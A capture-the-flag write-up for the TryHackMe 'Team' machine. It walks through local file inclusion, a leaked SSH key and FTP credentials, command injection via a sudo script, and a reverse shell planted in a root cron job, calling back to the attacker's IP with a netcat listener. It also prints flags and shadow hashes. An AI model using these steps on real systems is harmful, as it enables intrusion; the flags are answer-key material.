About

THM: Team

IP: 10.10.159.194

Description:

Beginner friendly boot2root machine

Recon: rustscan

Open 10.10.159.194:22
Open 10.10.159.194:21
Open 10.10.159.194:80

Recon: nmapinit

```
# Nmap 7.91 scan initiated Tue Jun 22 00:13:03 2021 as: nmap -Pn -p 21,22,80 -v -sC -sV -oN recon/nmapinit.txt 10.10.159.194
Nmap scan report for 10.10.159.194
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
|   256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
|_  256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 22 00:13:18 2021 -- 1 IP address (1 host up) scanned in 15.62 seconds
```

Enum: http-80

<title>Apache2 Ubuntu Default Page: It works! If you see this add 'team.thm' to your hosts!</title>

other domain to access from: team.thm

Enum: team.thm

```
/images               (Status: 301) [Size: 305] [--> http://team.thm/images/]
/scripts              (Status: 301) [Size: 306] [--> http://team.thm/scripts/]
/assets               (Status: 301) [Size: 305] [--> http://team.thm/assets/]
```

/robots.txt

dale

/script.txt (Status: 200) [Size: 597]

/scripts/script.txt

```
#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit

# Updated version of the script
# Note to self had to change the extension of the old "script" in this folder, as it has creds in
```

• there is indication of there being an older version of the script

/script.old (Status: 200) [Size: 466]

/scripts/scripts.old

```
#!/bin/bash
read -p "Enter Username: " ftpuser
read -sp "Enter Username Password: " T3@m$h@r3
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit
```

creds:
ftpuser:T3@m$h@r3

Enum: dev.team.thm

hint:

As the "dev" site is under contruction maybe it has some flaws? "url?=" + "This rooms picture"

Place holder link to team share

GET http://dev.team.thm/script.php?page=teamshare.php

• modify to

GET http://dev.team.thm/script.php?page=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
dale:x:1000:1000:anon,,,:/home/dale:/bin/bash
gyles:x:1001:1001::/home/gyles:/bin/bash
ftpuser:x:1002:1002::/home/ftpuser:/bin/sh
ftp:x:110:116:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin

• looking for ssh configs or direct keys

curl http://dev.team.thm/script.php?page=/etc/ssh/sshd_config

#	$OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $

This is the sshd server system-wide configuration file. See
sshd_config(5) for more information.

This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

The strategy used for options in the default sshd_config shipped with

```
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:
#RSAAuthentication yes

#LoginGraceTime 2m
PermitRootLogin without-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

PubkeyAuthentication yes
PubkeyAcceptedKeyTypes=+ssh-dss
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile      /home/%u/.ssh/authorized_keys

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no
```

```
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM no

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#UseLogin no
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem      sftp  /usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#     X11Forwarding no
#     AllowTcpForwarding no
#     PermitTTY no
#     ForceCommand cvs server

AllowUsers dale gyles



#Dale id_rsa
#-----BEGIN OPENSSH PRIVATE KEY-----
#b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
#NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE
#NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W
#oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK
#o9WqHhL5XS8lYu/fy5VAYOfJ0pyTh8IdhFUuAzfuC+fj0BcQ6ePFhxEF6WaNCSpK2v+qxP
#zMUILQdztr8WhURTxuaOQOIxQ2xJ+zWDKMiynzJ/lzwmI4EiOKj1/nh/w7I8rk6jBjaqAu
#k5xumOxPnyWAGiM0XOBSfgaU+eADcaGfwSF1a0gI8G/TtJfbcW33gnwZBVhc30uLG8JoKS
#xtA1J4yRazjEqK8hU8FUvowsGGls+trkxBYgceWwJFUudYjBq2NbX2glKz52vqFZdbAa1S
#0soiabHiuwd+3N/ygsSuDhOhKIg4MWH6VeJcSMIrAAAFkNt4pcTbeKXEAAAAB3NzaC1yc2
#EAAAGBAJ4OijEx985vuq6nkM5+RywY4K7gfZNq1/13cwq+o73RSyfrh+GVRDVJG4uVlDnU
```

#eKHJOHRY5NN19Ww7IWorABUSSZIFKtfszSfqfemSBCrZvd2mMt/mIIJYjf1qBvkT6j/D+v
#7n5VNH7cZBxOeB9S5dNx2zftB+CTPyJ177s+FPQ39PZvfSWIug1cOVxrGliqPVqh4S+V0v
#JWLv38uVQGDnydKck4fCHYRVLgM37gvn49AXEOnjxYcRBelmjQkqStr/qsT8zFCC0Hc7a/
#FoVEU8bmjkDiMUNsSfs1gyjIsp8yf5c8JiOBIjio9f54f8OyPK5OowY2qgLpOcbpjsT58l
#gBojNFzgUn4GlPngA3Ghn8EhdWtICPBv07SX23Ft94J8GQVYXN9LixvCaCksbQNSeMkWs4
#xKivIVPBVL6MLBhpbPra5MQWIHHIsCRVLnWIwatjW19oJSs+dr6hWXWwGtUtLKImmx4rsH
#ftzf8oLErg4ToSiIODFh+lXiXEjCKwAAAAMBAAEAAAGAGQ9nG8u3ZbTTXZPV4tekwzoijb
#esUW5UVqzUwbReU99WUjsG7V50VRqFUolh2hV1FvnHiLL7fQer5QAvGR0+QxkGLy/AjkHO
#eXC1jA4JuR2S/Ay47kUXjHMr+C0Sc/WTY47YQghUlPLHoXKWHLq/PB2tenkWN0p0fRb85R
#N1ftjJc+sMAWkJfwH+QqeBvHLp23YqJeCORxcNj3VG/4lnjrXRiyImRhUiBvRWek4o4Rxg
#Q4MUvHDPxc2OKWaIIBbjTbErxACPU3fJSy4MfJ69dwpvePtieFsFQEoJopkEMn1Gkf1Hyi
#U2lCuU7CZtIIjKLh90AT5eMVAntnGlK4H5UO1Vz9Z27ZsOy1Rt5svnhU6X6Pldn6iPgGBW
#/vS5rOqadSFUnoBrE+Cnul2cyLWyKnV+FQHD6YnAU2SXa8dDDlp204qGAJZrOKukXGIdiz
#82aDTaCV/RkdZ2YCb53IWyRw27EniWdO6NvMXG8pZQKwUI2B7wljdgm3ZB6fYNFUv5AAAA
#wQC5Tzei2ZXPj5yN7EgrQk16vUivWP9p6S8KUxHVBvqdJDoQqr8IiPovs9EohFRA3M3h0q
#z+zdN4wIKHMdAg0yaJUUj9WqSwj9ItqNtDxkXpXkfSSgXrfaLz3yXPZTTdvpah+WP5S8u6
#RuSnARrKjgkXT6bKyfGeIVnIpHjUf5/rrnb/QqHyE+AnWGDNQY9HH36gTyMEJZGV/zeBB7
#/ocepv6U5HWlqFB+SCcuhCfkegFif8M7O39K1UUkN6PWb4/IoAAADBAMuCxRbJE9A7sxzx
#sQD/wqj5cQx+HJ82QXZBtwO9cTtxrL1g10DGDK01H+pmWDkuSTcKGOXeU8AzMoM9Jj0ODb
#mPZgp7FnSJDPbeX6an/WzWWibc5DGCmM5VTIkrWdXuuyanEw8CMHUZCMYsltfbzeexKiur
#4fu7GSqPx30NEVfArs2LEqW5Bs/bc/rbZ0UI7/ccfVvHV3qtuNv3ypX4BuQXCkMuDJoBfg
#e9VbKXg7fLF28FxaYlXn25WmXpBHPPdwAAAMEAxtKShv88h0vmaeY0xpgqMN9rjPXvDs5S
#2BRGRg22JACuTYdMFONgWo4on+ptEFPtLA3Ik0DnPqf9KGinc+j6jSYvBdHhvjZleOMMIH
#8kUREDVyzgbpzIlJ5yyawaSjayM+BpYCAuIdI9FHyWAlersYc6ZofLGjbBc3Ay1IoPuOqX
#b1wrZt/BTpIg+d+Fc5/W/k7/9abnt3OBQBf08EwDHcJhSo+4J4TFGIJdMFydxFFr7AyVY7
#CPFMeoYeUdghftAAAAE3A0aW50LXA0cnJvdEBwYXJyb3QBAgMEBQYH
#-----END OPENSSH PRIVATE KEY-----

Enum: ftp

```
└─# ftp 10.10.159.194
Connected to 10.10.159.194.
220 (vsFTPd 3.0.3)
Name (10.10.159.194:lab): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    2 65534    65534        4096 Jan 15 21:25 workshare
226 Directory send OK.
ftp> cd workshare
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x    1 1002     1002         269 Jan 15 21:24 New_site.txt
226 Directory send OK.
ftp> get New_site.txt
```

---Content of New_site.txt---

Dale

I have started coding a new website in PHP for the team to use, this is currently under development. It can be found at ".dev" within our domain.

Also as per the team policy please make a copy of your "id_rsa" and place this in the relevent config file.

Gyles

Privesc: dale -> gyles -> root

```
└──╼ #ssh -i dale-id_rsa dale@team.thm
The authenticity of host 'team.thm (10.10.159.194)' can't be established.
ECDSA key fingerprint is SHA256:ZRMtjzCdqnyFAT2ug0dcgZw7i0oWlFbXQVkB4Krm3os.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'team.thm,10.10.159.194' (ECDSA) to the list of kno
wn hosts.
Last login: Mon Jan 18 10:51:32 2021
dale@TEAM:~$
```

user.txt

THM{6Y0TXHz7c2d}

```
dale@TEAM:~$ whoami
dale
dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin\:/snap/bin

User dale may run the following commands on TEAM:
    (gyles) NOPASSWD: /home/gyles/admin_checks
dale@TEAM:~$
```

Content:

```
#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name  >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
```

printf "Stats have been backed up\n"

```
dale@TEAM:/home/gyles$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: lol
Enter 'date' to timestamp the file: /bin/bash
The Date is python3 -c 'import pty;pty.spawn("/bin/bash")'
gyles@TEAM:/home/gyles$
```

• spawned shell with command injection, and pimp shell with python3

Interesting bash history:

nano /usr/local/bin/main_backup.sh

su root
cronjob -l
crontab -l

• add reverse shell bc it will be run by crontab with root privileges.

```
gyles@TEAM:/home/gyles$ ls -la /usr/local/bin/main_backup.sh
-rwxrwxr-x 1 root admin 107 Jun 22 07:39 /usr/local/bin/main_backup.sh
gyles@TEAM:/home/gyles$ vi /usr/local/bin/main_backup.sh
gyles@TEAM:/home/gyles$ cat /usr/local/bin/main_backup.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.2.26.235/4321 0>&1"
cp -r /var/www/team.thm/* /var/backups/www/team.thm/
gyles@TEAM:/home/gyles$
```

```
#nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.2.26.235] from (UNKNOWN) [10.10.159.194] 56742
bash: cannot set terminal process group (18527): Inappropriate ioctl for device
bash: no job control in this shell
root@TEAM:~# whoami
whoami
root
root@TEAM:~# sudo -l
sudo -l
Matching Defaults entries for root on TEAM:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User root may run the following commands on TEAM:
    (ALL : ALL) ALL
root@TEAM:~#
```

cat /root/root.txt
THM{fhqbznavfonq}

Other

$ cat /etc/shadow

root:6xuuJwXec$qc1o9t6ZiJgSSp37ODrG4WBnE8schSnQ/IHiWvLNo/-
w42X2U9WkMR689AXYkN.wwM83yTDRQ3rCtTlz1mN9rm0:18644:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::
man:*:17647:0:99999:7:::
lp:*:17647:0:99999:7:::
mail:*:17647:0:99999:7:::
news:*:17647:0:99999:7:::
uucp:*:17647:0:99999:7:::
proxy:*:17647:0:99999:7:::
www-data:*:17647:0:99999:7:::
backup:*:17647:0:99999:7:::
list:*:17647:0:99999:7:::
irc:*:17647:0:99999:7:::
gnats:*:17647:0:99999:7:::
nobody:*:17647:0:99999:7:::
systemd-network:*:17647:0:99999:7:::
systemd-resolve:*:17647:0:99999:7:::
syslog:*:17647:0:99999:7:::
messagebus:*:17647:0:99999:7:::
_apt:*:17647:0:99999:7:::
lxd:*:18642:0:99999:7:::
uuidd:*:18642:0:99999:7:::
dnsmasq:*:18642:0:99999:7:::
landscape:*:18642:0:99999:7:::
pollinate:*:18642:0:99999:7:::
dale:6OD7sttk0$u3wdqLBRI6wyHQg610OgQvG/-
kga9w4xx90YQ4lVYZsQ4txK3qfBnhGL2N5DOFPA7qfMQuLZpB.dpNL7beqAtk0:18644:0:99999:7:::
gyles:6fEb0A7IP$U/eT3u7Io3OiDr/ssF.VxtSYb/-
n.vaqUjehRP.R7XqvsTSYW5YFIgL8G8UPO.YxVsSUVAXAgwe86p4PqxBoGR.:18644:0:99999:7:::
ftpuser:$6$4uqJHENY$pGEGsZOmkquSGZdvHe7lZibsSCoXSvJ6wZ.LhJiFRA.R4Jy1FfbG5nBK/Y41uT/-
XyPL3T36XigwMquL8XB90r.:18642:0:99999:7:::
ftp:*:18642:0:99999:7:::
sshd:*:18642:0:99999:7:::